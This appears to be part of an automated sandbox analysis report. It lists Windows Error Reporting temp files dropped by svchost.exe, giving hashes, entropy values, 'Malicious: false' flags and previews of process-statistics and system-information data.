C:\ProgramData\Microsoft\Windows\WER\Temp\WEREA32.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99294
Entropy (8bit):	3.070262636301388
Encrypted:	false
SSDEEP:	3072:A4NjUzWAQAYRbkfrq72n7+RY05+Zj/Itq/M6OhV0RK5UVOa9znK:l
MD5:	7D774DB61704DD0EA2F28F92E41E124E
SHA1:	235EF18788F1601BBE187208F5CB43A332466BC1
SHA-256:	E7C8342714B2063708BB2DE0765C4EAEAC9D518CC765785E56FDECF698349801
SHA-512:	04C8C4F542A74E899FA09E1F65A10A10F9C2188793FC6EF922D30AA1602F71C6F0FA787980263641707567279397D2588DD1B13EB82ACB1DC8772C4A88696019
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAA0.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697176566425074
Encrypted:	false
SSDEEP:	96:TiZYW4iMXSc/crYuYAzxzHcYEZUPhtFiSMNxSSrwA6lWrapnEMNYRIWeT:2ZD44rp5PqQOapnEMNYOWeT
MD5:	78D0F36E7880354EB1426E413250CC44
SHA1:	D030D42C589FA7D9552BFE53D675A15C2F04BEAE
SHA-256:	C6282BC359314CDE4AD68ABB096459D20EC69362CFDEB4E977C04EF42049C55C
SHA-512:	66F2FCF85420756A80133228FC61E5E48D25BA6FA0308B90C2A1A495CF7C029D0B1A85169E4DCCF240F92E2C9BA420FEB70E6498A97BC79C91F7AC0AFEFA1D07
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB4D.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697136394556107
Encrypted:	false
SSDEEP:	96:TiZYWdJZbKuYu3Yszi6+H4YEZprtFiDMpSS3wF6JOOatnaMXQYvIOeT:2ZDd5XKQ5HatnaMAYAOeT
MD5:	11C1F5C5B2B9580F3D22E7D6A6A6944E
SHA1:	ECD4DFE5BC3F9DC1067E4838DF28D7327A090B76
SHA-256:	3E7A6E67269311D21B3C312405A7AD9F8E0E0D431C8EAF301E10F208F120BE7A
SHA-512:	58B52D4F75D46BF662CD58C4C1A4B9F56A6A9E761AF11F58FB0CC57D6BFFEBD709166A121408EC6599D4B1F0BC7739A58F44DEFF0F3933A2561443F3E8681043
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB4E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697157243293065
Encrypted:	false
SSDEEP:	96:TiZYWAZOBURgYQYMBzG6H4YEZXumtFinMuSS3w66iTMmaPnCMsYCIa0eT:2ZD7Xb8fIaPnCMsYlHeT
MD5:	64C34CE0C627B1BD1B9BDA1417D01B3A
SHA1:	9CB8D199CBF46E07078493CE6202C866CCECC1BB
SHA-256:	31C271AEE1B92E4D689E6F274465FE1B5613C9D6F1FE1247572F1D5A5B1A26DA
SHA-512:	4E8A97C4E078E03EA9E4E3456232B1BFFFE868170D5ED8FE7F8C9AE58078B625EECF61906838555C9C40CE336F9913B2BA09A94E29F9FC4BE56436602DF895BE
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERED14.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	98452
Entropy (8bit):	3.0711626069548776
Encrypted:	false
SSDEEP:	3072:fCrNTuzWj9HGR/fromAn7+RY05+Zj/ItqwM6O8k1/sCO29IYUu:e
MD5:	08FC12D4D7B267F25BEA7328C9D9E809
SHA1:	7CD401452CF3052B971A94973EC46987B7C241B1
SHA-256:	70B6136E7AAA74A62EF7CF7D444E5498DAA3A88ACF086B5654389D5AEB01A234
SHA-512:	606D08DE4F117B910E74F8F7F00C3B0AF840B322D222005EA78C71475FBEE22B7AFB7BFA8A1AEA9B899A9F5120DB5D95F500BCEE52E7C83ACA084F8B07B8478F
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREDF0.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697447420014154
Encrypted:	false
SSDEEP:	96:TiZYWtMs+FUbW6YdYCzXaMHbYEZk+ztFiQMaSS1wo6KqMRaznBMTY8IseT:2ZDt6R6aQP0RaznBMTY7seT
MD5:	A72B696CEC6472165194CE0BBDA673F4
SHA1:	165739CD104852CD1EF7BFDC64DB8FAE92D7849B
SHA-256:	3169DF56A1DC4760B29C1FF6579F046CCF84515B0162AC81583B1D702BC1B5B6
SHA-512:	604B0CF375DF8B679D24BCDB0089503CEB616709083A6A624730DB573A39CE14574AF9E024CD01617DE1468E60BE5D8F60B92ACEC50A70FBFD81F08F9CF72959
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF081.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	98112
Entropy (8bit):	3.0715080086413242
Encrypted:	false
SSDEEP:	1536:8P4+FjzW9HGRhfroiJn7+RY05+Zj/ItqIM6O+ciylRx9Am:8P4+FjzW9HGRhfroiJn7+RY05+Zj/Itm
MD5:	FFB3CE2CF581BF7D5177618B02A30F76
SHA1:	024DD3D8A1AFE6A11327FBB4F09350D577F1876A
SHA-256:	C59D3753F4B6ADEFD00D397E3D00123EE55ACE41492A92C800638AD617182881
SHA-512:	80931450611F15CA31C11850E691016AFD1CE12DEBBA968EE4F711DC5D9EEC0C792F786B7D75D2A863A8936E55FE781FBB2D63377A205F63339248BC54A462E7
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF12E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6970910465679068
Encrypted:	false
SSDEEP:	96:TiZYW+bbLCYsYZz/eHGYEZR2mtFiqMdSSzfwbSUaTMmajcn3m2MwYGI8eT:2ZDHb0iUbmajcn3XMwYB8eT
MD5:	1E3FFCE954D01F4802005FC5B1C4CD26
SHA1:	374EC185BA6D7511EAEE71884AA72EAAB996B9F6
SHA-256:	569041FC78797144829D3E768C0D543629B8784141E9CD9A0BAD0D0797804823
SHA-512:	E62F0296819E0C122285A424273EF75B625B43DA043F9E9270FF76C2FC51FA9D56022E42D82577442CF551C235BA3FFFD204E74A33C8FC3BC4333403F463BAA6
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF1AC.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	98866
Entropy (8bit):	3.0705956127521303
Encrypted:	false
SSDEEP:	3072:glBOTujzWvHGRzfroiYu7+RY05+Zj/ItqIM6O+vikE39IvPI1:i
MD5:	034B7062EAD2DA6DA7217301AB9141AC
SHA1:	1EE688434AFCB779E4D78A7A055C405398F2AC8E
SHA-256:	BAA84242D8D51CE6DA6A97BB4CB12D28C1C1F414FB1FFA17E23754B174C2EAD7
SHA-512:	CAD7DC2D984A54EE868C9BB4758D715DC11AE2C912933B2DAC8F9E0612E2E0A7455AF3CBD6B229CB789A21BD8561CFE029FB40965B494127EB5AE413E4D14CDA
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF288.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697742404788626
Encrypted:	false
SSDEEP:	96:TiZYWAbbp+OYjYHzNnHAYEZNNttFiBMnSS0wSSUM/ZahBnIMZYNIGeT:2ZDa05bUQahBnIMZYSGeT
MD5:	AF0A9A01BA3C46B1C5718C6168217B29
SHA1:	F8EB0F415F54CCD7C833976DA52C6826A4E62BA5
SHA-256:	5071C0A0206FF4AB0A57F71E40BF0D997B6B17151D4E8ECF5CC8A2DDF30A2F1C
SHA-512:	EF98672EE09C3937C5A2DCBDB12BA3F4F063DBEFB005558884457A04030A234DCD660897C2BD747B03AD262856D2830868595731BEFCBD505501253B96864CE6
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF4EA.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99512
Entropy (8bit):	3.069601875778556
Encrypted:	false
SSDEEP:	3072:Eqpj/zWgHLRnForodoD7+RY05+Zj/Itq0M6OVMzWV92hOi:L
MD5:	CD97B4CA0344A0CB050028EB798CF070
SHA1:	A984305F6DB2E6217A32BB6922B438AF38DD87C3
SHA-256:	5CF28DA102CB3789CC41C62AA4C58C0B31E04162A9F723A10B0F7B851C478352
SHA-512:	3FBA89501F0145E22C3BEB1CD94708BE31C4F7EC40E87873AF0B5242799237454B42C4CEA9B8BB8073F3F1094E1D697666FA623E88B00A4A23437D24892E82ED
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF5F5.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99092
Entropy (8bit):	3.070040242281379
Encrypted:	false
SSDEEP:	3072:XFp+/zWkHLRNZrod4D7+RY05+Zj/ItqPM6OVgQ8b49VhKx:g
MD5:	C029E1E4DFD595DEF7F1413FF423CA71
SHA1:	92196072CADED3A6FCCA0BDEB379E1C17CE0C5E1
SHA-256:	8A1ED1826A48D439C0D3FA9BEE709B028F66EA43618989EB21860459F2EFDE99
SHA-512:	B5518E640766AC3D596A7D5E12CB12BB613086ABFC42DFE6A3C656D5D0B384646BDC578423656F82EC0A97601DC52E3623F4D9D9A88BEF9DA9ED2FC559295FFC
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P